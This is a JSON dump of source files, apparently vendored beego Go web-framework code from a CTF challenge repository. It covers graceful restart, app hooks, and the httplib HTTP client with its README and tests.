{\n\t\t\t\tbreak\n\t\t\t}\n\t\t\targs = append(args, arg)\n\t\t}\n\t}\n\targs = append(args, \"-graceful\")\n\tif len(runningServers) > 1 {\n\t\targs = append(args, fmt.Sprintf(`-socketorder=%s`, strings.Join(orderArgs, \",\")))\n\t\tlog.Println(args)\n\t}\n\tcmd := exec.Command(path, args...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.ExtraFiles = files\n\terr = cmd.Start()\n\tif err != nil {\n\t\tlog.Fatalf(\"Restart: Failed to launch, error: %v\", err)\n\t}\n\n\treturn\n}\n\n// RegisterSignalHook registers a function to be run PreSignal or PostSignal for a given signal.\nfunc (srv *Server) RegisterSignalHook(ppFlag int, sig os.Signal, f func()) (err error) {\n\tif ppFlag != PreSignal && ppFlag != PostSignal {\n\t\terr = fmt.Errorf(\"Invalid ppFlag argument. Must be either grace.PreSignal or grace.PostSignal\")\n\t\treturn\n\t}\n\tfor _, s := range hookableSignals {\n\t\tif s == sig {\n\t\t\tsrv.SignalHooks[ppFlag][sig] = append(srv.SignalHooks[ppFlag][sig], f)\n\t\t\treturn\n\t\t}\n\t}\n\terr = fmt.Errorf(\"Signal '%v' is not supported\", sig)\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/hooks.go",
    "content": "package beego\n\nimport (\n\t\"encoding/json\"\n\t\"mime\"\n\t\"net/http\"\n\t\"path/filepath\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/session\"\n)\n\n//\nfunc registerMime() error {\n\tfor k, v := range mimemaps {\n\t\tmime.AddExtensionType(k, v)\n\t}\n\treturn nil\n}\n\n// register default error http handlers, 404,401,403,500 and 503.\nfunc registerDefaultErrorHandler() error {\n\tm := map[string]func(http.ResponseWriter, *http.Request){\n\t\t\"401\": unauthorized,\n\t\t\"402\": paymentRequired,\n\t\t\"403\": forbidden,\n\t\t\"404\": notFound,\n\t\t\"405\": methodNotAllowed,\n\t\t\"500\": internalServerError,\n\t\t\"501\": notImplemented,\n\t\t\"502\": badGateway,\n\t\t\"503\": serviceUnavailable,\n\t\t\"504\": gatewayTimeout,\n\t\t\"417\": invalidxsrf,\n\t\t\"422\": missingxsrf,\n\t}\n\tfor e, h := range m {\n\t\tif _, ok := ErrorMaps[e]; !ok {\n\t\t\tErrorHandler(e, h)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc registerSession() error {\n\tif BConfig.WebConfig.Session.SessionOn {\n\t\tvar err error\n\t\tsessionConfig := AppConfig.String(\"sessionConfig\")\n\t\tconf := new(session.ManagerConfig)\n\t\tif sessionConfig == \"\" {\n\t\t\tconf.CookieName = BConfig.WebConfig.Session.SessionName\n\t\t\tconf.EnableSetCookie = BConfig.WebConfig.Session.SessionAutoSetCookie\n\t\t\tconf.Gclifetime = BConfig.WebConfig.Session.SessionGCMaxLifetime\n\t\t\tconf.Secure = BConfig.Listen.EnableHTTPS\n\t\t\tconf.CookieLifeTime = BConfig.WebConfig.Session.SessionCookieLifeTime\n\t\t\tconf.ProviderConfig = filepath.ToSlash(BConfig.WebConfig.Session.SessionProviderConfig)\n\t\t\tconf.DisableHTTPOnly = BConfig.WebConfig.Session.SessionDisableHTTPOnly\n\t\t\tconf.Domain = BConfig.WebConfig.Session.SessionDomain\n\t\t\tconf.EnableSidInHTTPHeader = BConfig.WebConfig.Session.SessionEnableSidInHTTPHeader\n\t\t\tconf.SessionNameInHTTPHeader = BConfig.WebConfig.Session.SessionNameInHTTPHeader\n\t\t\tconf.EnableSidInURLQuery = BConfig.WebConfig.Session.SessionEnableSidInURLQuery\n\t\t} else {\n\t\t\tif err = json.Unmarshal([]byte(sessionConfig), conf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif GlobalSessions, err = session.NewManager(BConfig.WebConfig.Session.SessionProvider, conf); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgo GlobalSessions.GC()\n\t}\n\treturn nil\n}\n\nfunc registerTemplate() error {\n\tdefer lockViewPaths()\n\tif err := AddViewPath(BConfig.WebConfig.ViewsPath); err != nil {\n\t\tif BConfig.RunMode == DEV {\n\t\t\tlogs.Warn(err)\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc registerAdmin() error {\n\tif BConfig.Listen.EnableAdmin {\n\t\tgo beeAdminApp.Run()\n\t}\n\treturn nil\n}\n\nfunc registerGzip() error {\n\tif BConfig.EnableGzip {\n\t\tcontext.InitGzip(\n\t\t\tAppConfig.DefaultInt(\"gzipMinLength\", -1),\n\t\t\tAppConfig.DefaultInt(\"gzipCompressLevel\", -1),\n\t\t\tAppConfig.DefaultStrings(\"includedMethods\", []string{\"GET\"}),\n\t\t)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/httplib/README.md",
    "content": "# httplib\nhttplib is an libs help you to curl remote url.\n\n# How to use?\n\n## GET\nyou can use Get to crawl data.\n\n\timport \"github.com/astaxie/beego/httplib\"\n\t\n\tstr, err := httplib.Get(\"http://beego.me/\").String()\n\tif err != nil {\n        \t// error\n\t}\n\tfmt.Println(str)\n\t\n## POST\nPOST data to remote url\n\n\treq := httplib.Post(\"http://beego.me/\")\n\treq.Param(\"username\",\"astaxie\")\n\treq.Param(\"password\",\"123456\")\n\tstr, err := req.String()\n\tif err != nil {\n        \t// error\n\t}\n\tfmt.Println(str)\n\n## Set timeout\n\nThe default timeout is `60` seconds, function prototype:\n\n\tSetTimeout(connectTimeout, readWriteTimeout time.Duration)\n\nExample:\n\n\t// GET\n\thttplib.Get(\"http://beego.me/\").SetTimeout(100 * time.Second, 30 * time.Second)\n\t\n\t// POST\n\thttplib.Post(\"http://beego.me/\").SetTimeout(100 * time.Second, 30 * time.Second)\n\n\n## Debug\n\nIf you want to debug the request info, set the debug on\n\n\thttplib.Get(\"http://beego.me/\").Debug(true)\n\t\n## Set HTTP Basic Auth\n\n\tstr, err := Get(\"http://beego.me/\").SetBasicAuth(\"user\", \"passwd\").String()\n\tif err != nil {\n        \t// error\n\t}\n\tfmt.Println(str)\n\t\n## Set HTTPS\n\nIf request url is https, You can set the client support TSL:\n\n\thttplib.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})\n\t\nMore info about the `tls.Config` please visit http://golang.org/pkg/crypto/tls/#Config\t\n\n## Set HTTP Version\n\nsome servers need to specify the protocol version of HTTP\n\n\thttplib.Get(\"http://beego.me/\").SetProtocolVersion(\"HTTP/1.1\")\n\t\n## Set Cookie\n\nsome http request need setcookie. So set it like this:\n\n\tcookie := &http.Cookie{}\n\tcookie.Name = \"username\"\n\tcookie.Value  = \"astaxie\"\n\thttplib.Get(\"http://beego.me/\").SetCookie(cookie)\n\n## Upload file\n\nhttplib support mutil file upload, use `req.PostFile()`\n\n\treq := httplib.Post(\"http://beego.me/\")\n\treq.Param(\"username\",\"astaxie\")\n\treq.PostFile(\"uploadfile1\", \"httplib.pdf\")\n\tstr, err := req.String()\n\tif err != nil {\n        \t// error\n\t}\n\tfmt.Println(str)\n\n\nSee godoc for further documentation and examples.\n\n* [godoc.org/github.com/astaxie/beego/httplib](https://godoc.org/github.com/astaxie/beego/httplib)\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/httplib/httplib.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package httplib is used as http.Client\n// Usage:\n//\n// import \"github.com/astaxie/beego/httplib\"\n//\n//\tb := httplib.Post(\"http://beego.me/\")\n//\tb.Param(\"username\",\"astaxie\")\n//\tb.Param(\"password\",\"123456\")\n//\tb.PostFile(\"uploadfile1\", \"httplib.pdf\")\n//\tb.PostFile(\"uploadfile2\", \"httplib.txt\")\n//\tstr, err := b.String()\n//\tif err != nil {\n//\t\tt.Fatal(err)\n//\t}\n//\tfmt.Println(str)\n//\n//  more docs http://beego.me/docs/module/httplib.md\npackage httplib\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"mime/multipart\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\nvar defaultSetting = BeegoHTTPSettings{\n\tUserAgent:        \"beegoServer\",\n\tConnectTimeout:   60 * time.Second,\n\tReadWriteTimeout: 60 * time.Second,\n\tGzip:             true,\n\tDumpBody:         true,\n}\n\nvar defaultCookieJar http.CookieJar\nvar settingMutex sync.Mutex\n\n// createDefaultCookie creates a global cookiejar to store cookies.\nfunc createDefaultCookie() {\n\tsettingMutex.Lock()\n\tdefer settingMutex.Unlock()\n\tdefaultCookieJar, _ = cookiejar.New(nil)\n}\n\n// SetDefaultSetting Overwrite default settings\nfunc SetDefaultSetting(setting BeegoHTTPSettings) {\n\tsettingMutex.Lock()\n\tdefer settingMutex.Unlock()\n\tdefaultSetting = setting\n}\n\n// NewBeegoRequest return *BeegoHttpRequest with specific method\nfunc NewBeegoRequest(rawurl, method string) *BeegoHTTPRequest {\n\tvar resp http.Response\n\tu, err := url.Parse(rawurl)\n\tif err != nil {\n\t\tlog.Println(\"Httplib:\", err)\n\t}\n\treq := http.Request{\n\t\tURL:        u,\n\t\tMethod:     method,\n\t\tHeader:     make(http.Header),\n\t\tProto:      \"HTTP/1.1\",\n\t\tProtoMajor: 1,\n\t\tProtoMinor: 1,\n\t}\n\treturn &BeegoHTTPRequest{\n\t\turl:     rawurl,\n\t\treq:     &req,\n\t\tparams:  map[string][]string{},\n\t\tfiles:   map[string]string{},\n\t\tsetting: defaultSetting,\n\t\tresp:    &resp,\n\t}\n}\n\n// Get returns *BeegoHttpRequest with GET method.\nfunc Get(url string) *BeegoHTTPRequest {\n\treturn NewBeegoRequest(url, \"GET\")\n}\n\n// Post returns *BeegoHttpRequest with POST method.\nfunc Post(url string) *BeegoHTTPRequest {\n\treturn NewBeegoRequest(url, \"POST\")\n}\n\n// Put returns *BeegoHttpRequest with PUT method.\nfunc Put(url string) *BeegoHTTPRequest {\n\treturn NewBeegoRequest(url, \"PUT\")\n}\n\n// Delete returns *BeegoHttpRequest DELETE method.\nfunc Delete(url string) *BeegoHTTPRequest {\n\treturn NewBeegoRequest(url, \"DELETE\")\n}\n\n// Head returns *BeegoHttpRequest with HEAD method.\nfunc Head(url string) *BeegoHTTPRequest {\n\treturn NewBeegoRequest(url, \"HEAD\")\n}\n\n// BeegoHTTPSettings is the http.Client setting\ntype BeegoHTTPSettings struct {\n\tShowDebug        bool\n\tUserAgent        string\n\tConnectTimeout   time.Duration\n\tReadWriteTimeout time.Duration\n\tTLSClientConfig  *tls.Config\n\tProxy            func(*http.Request) (*url.URL, error)\n\tTransport        http.RoundTripper\n\tCheckRedirect    func(req *http.Request, via []*http.Request) error\n\tEnableCookie     bool\n\tGzip             bool\n\tDumpBody         bool\n\tRetries          int // if set to -1 means will retry forever\n}\n\n// BeegoHTTPRequest provides more useful methods for requesting one url than http.Request.\ntype BeegoHTTPRequest struct {\n\turl     string\n\treq     *http.Request\n\tparams  map[string][]string\n\tfiles   map[string]string\n\tsetting BeegoHTTPSettings\n\tresp    *http.Response\n\tbody    []byte\n\tdump    []byte\n}\n\n// GetRequest return the request object\nfunc (b *BeegoHTTPRequest) GetRequest() *http.Request {\n\treturn b.req\n}\n\n// Setting Change request settings\nfunc (b *BeegoHTTPRequest) Setting(setting BeegoHTTPSettings) *BeegoHTTPRequest {\n\tb.setting = setting\n\treturn b\n}\n\n// SetBasicAuth sets the request's Authorization header to use HTTP Basic Authentication with the provided username and password.\nfunc (b *BeegoHTTPRequest) SetBasicAuth(username, password string) *BeegoHTTPRequest {\n\tb.req.SetBasicAuth(username, password)\n\treturn b\n}\n\n// SetEnableCookie sets enable/disable cookiejar\nfunc (b *BeegoHTTPRequest) SetEnableCookie(enable bool) *BeegoHTTPRequest {\n\tb.setting.EnableCookie = enable\n\treturn b\n}\n\n// SetUserAgent sets User-Agent header field\nfunc (b *BeegoHTTPRequest) SetUserAgent(useragent string) *BeegoHTTPRequest {\n\tb.setting.UserAgent = useragent\n\treturn b\n}\n\n// Debug sets show debug or not when executing request.\nfunc (b *BeegoHTTPRequest) Debug(isdebug bool) *BeegoHTTPRequest {\n\tb.setting.ShowDebug = isdebug\n\treturn b\n}\n\n// Retries sets Retries times.\n// default is 0 means no retried.\n// -1 means retried forever.\n// others means retried times.\nfunc (b *BeegoHTTPRequest) Retries(times int) *BeegoHTTPRequest {\n\tb.setting.Retries = times\n\treturn b\n}\n\n// DumpBody setting whether need to Dump the Body.\nfunc (b *BeegoHTTPRequest) DumpBody(isdump bool) *BeegoHTTPRequest {\n\tb.setting.DumpBody = isdump\n\treturn b\n}\n\n// DumpRequest return the DumpRequest\nfunc (b *BeegoHTTPRequest) DumpRequest() []byte {\n\treturn b.dump\n}\n\n// SetTimeout sets connect time out and read-write time out for BeegoRequest.\nfunc (b *BeegoHTTPRequest) SetTimeout(connectTimeout, readWriteTimeout time.Duration) *BeegoHTTPRequest {\n\tb.setting.ConnectTimeout = connectTimeout\n\tb.setting.ReadWriteTimeout = readWriteTimeout\n\treturn b\n}\n\n// SetTLSClientConfig sets tls connection configurations if visiting https url.\nfunc (b *BeegoHTTPRequest) SetTLSClientConfig(config *tls.Config) *BeegoHTTPRequest {\n\tb.setting.TLSClientConfig = config\n\treturn b\n}\n\n// Header add header item string in request.\nfunc (b *BeegoHTTPRequest) Header(key, value string) *BeegoHTTPRequest {\n\tb.req.Header.Set(key, value)\n\treturn b\n}\n\n// SetHost set the request host\nfunc (b *BeegoHTTPRequest) SetHost(host string) *BeegoHTTPRequest {\n\tb.req.Host = host\n\treturn b\n}\n\n// SetProtocolVersion Set the protocol version for incoming requests.\n// Client requests always use HTTP/1.1.\nfunc (b *BeegoHTTPRequest) SetProtocolVersion(vers string) *BeegoHTTPRequest {\n\tif len(vers) == 0 {\n\t\tvers = \"HTTP/1.1\"\n\t}\n\n\tmajor, minor, ok := http.ParseHTTPVersion(vers)\n\tif ok {\n\t\tb.req.Proto = vers\n\t\tb.req.ProtoMajor = major\n\t\tb.req.ProtoMinor = minor\n\t}\n\n\treturn b\n}\n\n// SetCookie add cookie into request.\nfunc (b *BeegoHTTPRequest) SetCookie(cookie *http.Cookie) *BeegoHTTPRequest {\n\tb.req.Header.Add(\"Cookie\", cookie.String())\n\treturn b\n}\n\n// SetTransport set the setting transport\nfunc (b *BeegoHTTPRequest) SetTransport(transport http.RoundTripper) *BeegoHTTPRequest {\n\tb.setting.Transport = transport\n\treturn b\n}\n\n// SetProxy set the http proxy\n// example:\n//\n//\tfunc(req *http.Request) (*url.URL, error) {\n// \t\tu, _ := url.ParseRequestURI(\"http://127.0.0.1:8118\")\n// \t\treturn u, nil\n// \t}\nfunc (b *BeegoHTTPRequest) SetProxy(proxy func(*http.Request) (*url.URL, error)) *BeegoHTTPRequest {\n\tb.setting.Proxy = proxy\n\treturn b\n}\n\n// SetCheckRedirect specifies the policy for handling redirects.\n//\n// If CheckRedirect is nil, the Client uses its default policy,\n// which is to stop after 10 consecutive requests.\nfunc (b *BeegoHTTPRequest) SetCheckRedirect(redirect func(req *http.Request, via []*http.Request) error) *BeegoHTTPRequest {\n\tb.setting.CheckRedirect = redirect\n\treturn b\n}\n\n// Param adds query param in to request.\n// params build query string as ?key1=value1&key2=value2...\nfunc (b *BeegoHTTPRequest) Param(key, value string) *BeegoHTTPRequest {\n\tif param, ok := b.params[key]; ok {\n\t\tb.params[key] = append(param, value)\n\t} else {\n\t\tb.params[key] = []string{value}\n\t}\n\treturn b\n}\n\n// PostFile add a post file to the request\nfunc (b *BeegoHTTPRequest) PostFile(formname, filename string) *BeegoHTTPRequest {\n\tb.files[formname] = filename\n\treturn b\n}\n\n// Body adds request raw body.\n// it supports string and []byte.\nfunc (b *BeegoHTTPRequest) Body(data interface{}) *BeegoHTTPRequest {\n\tswitch t := data.(type) {\n\tcase string:\n\t\tbf := bytes.NewBufferString(t)\n\t\tb.req.Body = ioutil.NopCloser(bf)\n\t\tb.req.ContentLength = int64(len(t))\n\tcase []byte:\n\t\tbf := bytes.NewBuffer(t)\n\t\tb.req.Body = ioutil.NopCloser(bf)\n\t\tb.req.ContentLength = int64(len(t))\n\t}\n\treturn b\n}\n// XMLBody adds request raw body encoding by XML.\nfunc (b *BeegoHTTPRequest) XMLBody(obj interface{}) (*BeegoHTTPRequest, error) {\n\tif b.req.Body == nil && obj != nil {\n\t\tbyts, err := xml.Marshal(obj)\n\t\tif err != nil {\n\t\t\treturn b, err\n\t\t}\n\t\tb.req.Body = ioutil.NopCloser(bytes.NewReader(byts))\n\t\tb.req.ContentLength = int64(len(byts))\n\t\tb.req.Header.Set(\"Content-Type\", \"application/xml\")\n\t}\n\treturn b, nil\n}\n// JSONBody adds request raw body encoding by JSON.\nfunc (b *BeegoHTTPRequest) JSONBody(obj interface{}) (*BeegoHTTPRequest, error) {\n\tif b.req.Body == nil && obj != nil {\n\t\tbyts, err := json.Marshal(obj)\n\t\tif err != nil {\n\t\t\treturn b, err\n\t\t}\n\t\tb.req.Body = ioutil.NopCloser(bytes.NewReader(byts))\n\t\tb.req.ContentLength = int64(len(byts))\n\t\tb.req.Header.Set(\"Content-Type\", \"application/json\")\n\t}\n\treturn b, nil\n}\n\nfunc (b *BeegoHTTPRequest) buildURL(paramBody string) {\n\t// build GET url with query string\n\tif b.req.Method == \"GET\" && len(paramBody) > 0 {\n\t\tif strings.Contains(b.url, \"?\") {\n\t\t\tb.url += \"&\" + paramBody\n\t\t} else {\n\t\t\tb.url = b.url + \"?\" + paramBody\n\t\t}\n\t\treturn\n\t}\n\n\t// build POST/PUT/PATCH url and body\n\tif (b.req.Method == \"POST\" || b.req.Method == \"PUT\" || b.req.Method == \"PATCH\" || b.req.Method == \"DELETE\") && b.req.Body == nil {\n\t\t// with files\n\t\tif len(b.files) > 0 {\n\t\t\tpr, pw := io.Pipe()\n\t\t\tbodyWriter := multipart.NewWriter(pw)\n\t\t\tgo func() {\n\t\t\t\tfor formname, filename := range b.files {\n\t\t\t\t\tfileWriter, err := bodyWriter.CreateFormFile(formname, filename)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Println(\"Httplib:\", err)\n\t\t\t\t\t}\n\t\t\t\t\tfh, err := os.Open(filename)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Println(\"Httplib:\", err)\n\t\t\t\t\t}\n\t\t\t\t\t//iocopy\n\t\t\t\t\t_, err = io.Copy(fileWriter, fh)\n\t\t\t\t\tfh.Close()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Println(\"Httplib:\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor k, v := range b.params {\n\t\t\t\t\tfor _, vv := range v {\n\t\t\t\t\t\tbodyWriter.WriteField(k, vv)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbodyWriter.Close()\n\t\t\t\tpw.Close()\n\t\t\t}()\n\t\t\tb.Header(\"Content-Type\", bodyWriter.FormDataContentType())\n\t\t\tb.req.Body = ioutil.NopCloser(pr)\n\t\t\treturn\n\t\t}\n\n\t\t// with params\n\t\tif len(paramBody) > 0 {\n\t\t\tb.Header(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\t\tb.Body(paramBody)\n\t\t}\n\t}\n}\n\nfunc (b *BeegoHTTPRequest) getResponse() (*http.Response, error) {\n\tif b.resp.StatusCode != 0 {\n\t\treturn b.resp, nil\n\t}\n\tresp, err := b.DoRequest()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb.resp = resp\n\treturn resp, nil\n}\n\n// DoRequest will do the client.Do\nfunc (b *BeegoHTTPRequest) DoRequest() (resp *http.Response, err error) {\n\tvar paramBody string\n\tif len(b.params) > 0 {\n\t\tvar buf bytes.Buffer\n\t\tfor k, v := range b.params {\n\t\t\tfor _, vv := range v {\n\t\t\t\tbuf.WriteString(url.QueryEscape(k))\n\t\t\t\tbuf.WriteByte('=')\n\t\t\t\tbuf.WriteString(url.QueryEscape(vv))\n\t\t\t\tbuf.WriteByte('&')\n\t\t\t}\n\t\t}\n\t\tparamBody = buf.String()\n\t\tparamBody = paramBody[0 : len(paramBody)-1]\n\t}\n\n\tb.buildURL(paramBody)\n\turl, err := url.Parse(b.url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb.req.URL = url\n\n\ttrans := b.setting.Transport\n\n\tif trans == nil {\n\t\t// create default transport\n\t\ttrans = &http.Transport{\n\t\t\tTLSClientConfig:     b.setting.TLSClientConfig,\n\t\t\tProxy:               b.setting.Proxy,\n\t\t\tDial:                TimeoutDialer(b.setting.ConnectTimeout, b.setting.ReadWriteTimeout),\n\t\t\tMaxIdleConnsPerHost: -1,\n\t\t}\n\t} else {\n\t\t// if b.transport is *http.Transport then set the settings.\n\t\tif t, ok := trans.(*http.Transport); ok {\n\t\t\tif t.TLSClientConfig == nil {\n\t\t\t\tt.TLSClientConfig = b.setting.TLSClientConfig\n\t\t\t}\n\t\t\tif t.Proxy == nil {\n\t\t\t\tt.Proxy = b.setting.Proxy\n\t\t\t}\n\t\t\tif t.Dial == nil {\n\t\t\t\tt.Dial = TimeoutDialer(b.setting.ConnectTimeout, b.setting.ReadWriteTimeout)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar jar http.CookieJar\n\tif b.setting.EnableCookie {\n\t\tif defaultCookieJar == nil {\n\t\t\tcreateDefaultCookie()\n\t\t}\n\t\tjar = defaultCookieJar\n\t}\n\n\tclient := &http.Client{\n\t\tTransport: trans,\n\t\tJar:       jar,\n\t}\n\n\tif b.setting.UserAgent != \"\" && b.req.Header.Get(\"User-Agent\") == \"\" {\n\t\tb.req.Header.Set(\"User-Agent\", b.setting.UserAgent)\n\t}\n\n\tif b.setting.CheckRedirect != nil {\n\t\tclient.CheckRedirect = b.setting.CheckRedirect\n\t}\n\n\tif b.setting.ShowDebug {\n\t\tdump, err := httputil.DumpRequest(b.req, b.setting.DumpBody)\n\t\tif err != nil {\n\t\t\tlog.Println(err.Error())\n\t\t}\n\t\tb.dump = dump\n\t}\n\t// retries default value is 0, it will run once.\n\t// retries equal to -1, it will run forever until success\n\t// retries is setted, it will retries fixed times.\n\tfor i := 0; b.setting.Retries == -1 || i <= b.setting.Retries; i++ {\n\t\tresp, err = client.Do(b.req)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn resp, err\n}\n\n// String returns the body string in response.\n// it calls Response inner.\nfunc (b *BeegoHTTPRequest) String() (string, error) {\n\tdata, err := b.Bytes()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(data), nil\n}\n\n// Bytes returns the body []byte in response.\n// it calls Response inner.\nfunc (b *BeegoHTTPRequest) Bytes() ([]byte, error) {\n\tif b.body != nil {\n\t\treturn b.body, nil\n\t}\n\tresp, err := b.getResponse()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.Body == nil {\n\t\treturn nil, nil\n\t}\n\tdefer resp.Body.Close()\n\tif b.setting.Gzip && resp.Header.Get(\"Content-Encoding\") == \"gzip\" {\n\t\treader, err := gzip.NewReader(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tb.body, err = ioutil.ReadAll(reader)\n\t\treturn b.body, err\n\t}\n\tb.body, err = ioutil.ReadAll(resp.Body)\n\treturn b.body, err\n}\n\n// ToFile saves the body data in response to one file.\n// it calls Response inner.\nfunc (b *BeegoHTTPRequest) ToFile(filename string) error {\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tresp, err := b.getResponse()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.Body == nil {\n\t\treturn nil\n\t}\n\tdefer resp.Body.Close()\n\t_, err = io.Copy(f, resp.Body)\n\treturn err\n}\n\n// ToJSON returns the map that marshals from the body bytes as json in response .\n// it calls Response inner.\nfunc (b *BeegoHTTPRequest) ToJSON(v interface{}) error {\n\tdata, err := b.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn json.Unmarshal(data, v)\n}\n\n// ToXML returns the map that marshals from the body bytes as xml in response .\n// it calls Response inner.\nfunc (b *BeegoHTTPRequest) ToXML(v interface{}) error {\n\tdata, err := b.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn xml.Unmarshal(data, v)\n}\n\n// Response executes request client gets response mannually.\nfunc (b *BeegoHTTPRequest) Response() (*http.Response, error) {\n\treturn b.getResponse()\n}\n\n// TimeoutDialer returns functions of connection dialer with timeout settings for http.Transport Dial field.\nfunc TimeoutDialer(cTimeout time.Duration, rwTimeout time.Duration) func(net, addr string) (c net.Conn, err error) {\n\treturn func(netw, addr string) (net.Conn, error) {\n\t\tconn, err := net.DialTimeout(netw, addr, cTimeout)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terr = conn.SetDeadline(time.Now().Add(rwTimeout))\n\t\treturn conn, err\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/httplib/httplib_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage httplib\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestResponse(t *testing.T) {\n\treq := Get(\"http://httpbin.org/get\")\n\tresp, err := req.Response()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(resp)\n}\n\nfunc TestGet(t *testing.T) {\n\treq := Get(\"http://httpbin.org/get\")\n\tb, err := req.Bytes()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(b)\n\n\ts, err := req.String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(s)\n\n\tif string(b) != s {\n\t\tt.Fatal(\"request data not match\")\n\t}\n}\n\nfunc TestSimplePost(t *testing.T) {\n\tv := \"smallfish\"\n\treq := Post(\"http://httpbin.org/post\")\n\treq.Param(\"username\", v)\n\n\tstr, err := req.String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\n\tn := strings.Index(str, v)\n\tif n == -1 {\n\t\tt.Fatal(v + \" not found in post\")\n\t}\n}\n\n//func TestPostFile(t *testing.T) {\n//\tv := \"smallfish\"\n//\treq := Post(\"http://httpbin.org/post\")\n//\treq.Debug(true)\n//\treq.Param(\"username\", v)\n//\treq.PostFile(\"uploadfile\", \"httplib_test.go\")\n\n//\tstr, err := req.String()\n//\tif err != nil {\n//\t\tt.Fatal(err)\n//\t}\n//\tt.Log(str)\n\n//\tn := strings.Index(str, v)\n//\tif n == -1 {\n//\t\tt.Fatal(v + \" not found in post\")\n//\t}\n//}\n\nfunc TestSimplePut(t *testing.T) {\n\tstr, err := Put(\"http://httpbin.org/put\").String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n}\n\nfunc TestSimpleDelete(t *testing.T) {\n\tstr, err := Delete(\"http://httpbin.org/delete\").String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n}\n\nfunc TestSimpleDeleteParam(t *testing.T) {\n\tstr, err := Delete(\"http://httpbin.org/delete\").Param(\"key\", \"val\").String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n}\n\nfunc TestWithCookie(t *testing.T) {\n\tv := \"smallfish\"\n\tstr, err := Get(\"http://httpbin.org/cookies/set?k1=\" + v).SetEnableCookie(true).String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\n\tstr, err = Get(\"http://httpbin.org/cookies\").SetEnableCookie(true).String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\n\tn := strings.Index(str, v)\n\tif n == -1 {\n\t\tt.Fatal(v + \" not found in cookie\")\n\t}\n}\n\nfunc TestWithBasicAuth(t *testing.T) {\n\tstr, err := Get(\"http://httpbin.org/basic-auth/user/passwd\").SetBasicAuth(\"user\", \"passwd\").String()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(str)\n\tn := strings.Index(str, \"authenticated\")\n\tif n == -1 {\n\t\tt.Fatal(\"authenticated not found in response\")\n\t}\n}\n\nfunc TestWithUserAgent(t *testing.T) {\n\tv := \"beego\"\n\tstr, err := Get(\"http://httpbin.org/headers\").SetUserAgent(v).String()\n\tif err != nil 